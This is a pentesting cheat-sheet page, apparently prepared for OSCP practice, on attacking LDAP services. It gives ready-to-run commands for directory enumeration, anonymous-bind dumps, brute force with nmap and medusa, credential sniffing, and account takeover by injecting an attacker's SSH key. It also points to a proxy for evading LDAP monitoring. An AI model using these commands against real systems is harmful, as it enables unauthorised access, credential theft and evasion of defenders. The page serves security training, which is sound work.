LDAP - Ports 389, 636, 3268, 3269
Become VeryLazyTech member! π
Follow us on:
β Twitter @VeryLazyTech.
πΎ Github @VeryLazyTech.
π Medium @VeryLazyTech.
πΊ YouTube @VeryLazyTech.
π© Telegram @VeryLazyTech.
π΅οΈββοΈ My Site @VeryLazyTech.
Visit our shop for e-books and courses. π
Basic Info
LDAP (Lightweight Directory Access Protocol) is a protocol used for accessing and managing directory information services. It is commonly used in Windows Active Directory and Linux directory services.
Ports:
TCP 389 (unencrypted LDAP)
TCP 636 (LDAPS - LDAP over SSL/TLS)
TCP 3268 (Global Catalog for domain-wide searches)
TCP 3269 (Secure Global Catalog)
Authentication Types:
Anonymous bind
Simple authentication (username/password)
SASL authentication (Kerberos, NTLM, Digest-MD5)
LDAP Data Interchange Format
LDIF (LDAP Data Interchange Format) defines the directory content as a set of records. It can also represent update requests (Add, Modify, Delete, Rename).
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
Lines 1-3 define the top level domain local
Lines 5-8 define the first level domain moneycorp (moneycorp.local)
Lines 10-16 define 2 organizational units: dev and sales
Lines 18-26 create an object of the domain and assign attributes with values
Write data
Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you can change the "sshPublicKey" information of your user or any user. It's highly probable that if this attribute exist, then ssh is reading the public keys from LDAP. If you can modify the public key of a user you will be able to login as that user even if password authentication is not enabled in ssh.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Anonymous Access
Bypass TLS SNI check
According to this writeup just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
LDAP anonymous binds
LDAP anonymous binds allow unauthenticated attackers to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a legacy configuration, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests. However, admins may have needed to set up a particular application to allow anonymous binds and given out more than the intended amount of access, thereby giving unauthenticated users access to all objects in AD.
Valid Credentials
If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using:
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
Enumerating LDAP Services
Before attacking LDAP, we must enumerate the target environment.
2.1 Scanning for LDAP Services
Use nmap
to discover LDAP services:
nmap -p 389,636,3268,3269 --script ldap-rootdse <target-IP>
2.2 LDAP Enumeration with windapsearch orldapsearch
ldapsearch
windapsearch
Windapsearch is a Python script useful to enumerate users, groups, and computers from a Windows domain by utilizing LDAP queries.
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
Check null credentials or if your credentials are valid:
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
If you find something saying that the "bind must be completed" means that the credentials are incorrect.
You can extract everything from a domain using:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
Extract users:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
Extract computers:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract my info:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract Domain Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract Domain Users:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract Enterprise Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract Administrators:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract Remote Desktop Group:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
To see if you have access to any password you can use grep after executing one of the queries:
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
Please, notice that the passwords that you can find here could not be the real ones...
pbis
You can download pbis from here: https://github.com/BeyondTrust/pbis-open/ and it's usually installed in /opt/pbis
.
Pbis allow you to get basic information easily:
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
Graphical Interface
Apache Directory
Download Apache Directory from here. You can find an example of how to use this tool here.
jxplorer
You can download a graphical interface with LDAP server here: http://www.jxplorer.org/downloads/users.html
By default is is installed in: /opt/jxplorer
Godap
Godap is an interactive terminal user interface for LDAP that can be used to interact with objects and attributes in AD and other LDAP servers. It is available for Windows, Linux and MacOS and supports simple binds, pass-the-hash, pass-the-ticket & pass-the-cert, along with several other specialized features such as searching/creating/changing/deleting objects, adding/removing users from groups, changing passwords, editing object permissions (DACLs), modifying Active-Directory Integrated DNS (ADIDNS), exporting to JSON files, etc.
You can access it in https://github.com/Macmod/godap. For usage examples and instructions read the Wiki.
Ldapx
Ldapx is a flexible LDAP proxy that can be used to inspect & transform LDAP traffic from other tools. It can be used to obfuscate LDAP traffic to attempt to bypass identity protection & LDAP monitoring tools and implements most of the methods presented in the MaLDAPtive talk.
You can get it from https://github.com/Macmod/ldapx.
Exploiting Anonymous Binds
If anonymous binds are enabled, we can extract:
Users
Groups
Policies
Check anonymous access:
ldapsearch -x -h <target-IP> -s base -b ""
If successful, dump the entire directory:
ldapsearch -x -h <target-IP> -b "dc=example,dc=com"
Attacking LDAP Authentication
4.1 Valid Credential Enumeration
If we have a valid username and password:
ldapsearch -x -h <target-IP> -D "cn=admin,dc=example,dc=com" -w "password" -b "dc=example,dc=com"
4.2 Brute Force Attack
Using nmap
:
nmap --script ldap-brute -p 389 <target-IP>
Using medusa
:
medusa -h <target-IP> -U users.txt -P passwords.txt -M ldap
Modifying LDAP Attributes (Privilege Escalation)
If we have write permissions, we can inject an SSH key or modify user permissions:
ldapmodify -x -D "cn=admin,dc=example,dc=com" -w "password" <<EOF
dn: uid=user,dc=example,dc=com
changetype: modify
add: sshPublicKey
sshPublicKey: ssh-rsa AAAAB3...
EOF
Sniffing LDAP Traffic
If LDAP is not using encryption, credentials can be intercepted using Wireshark:
Filter:
ldap && ip.addr==<target-IP>
Look for bindRequest packets containing usernames and passwords.
Configuration Files
General
containers.ldif
ldap.cfg
ldap.conf
ldap.xml
ldap-config.xml
ldap-realm.xml
slapd.conf
IBM SecureWay V3 server
V3.sas.oc
Microsoft Active Directory server
msadClassesAttrs.ldif
Netscape Directory Server 4
nsslapd.sas_at.conf
nsslapd.sas_oc.conf
OpenLDAP directory server
slapd.sas_at.conf
slapd.sas_oc.conf
Sun ONE Directory Server 5.1
75sas.ldif
Learn & practice For the OSCP.
Last updated
Was this helpful?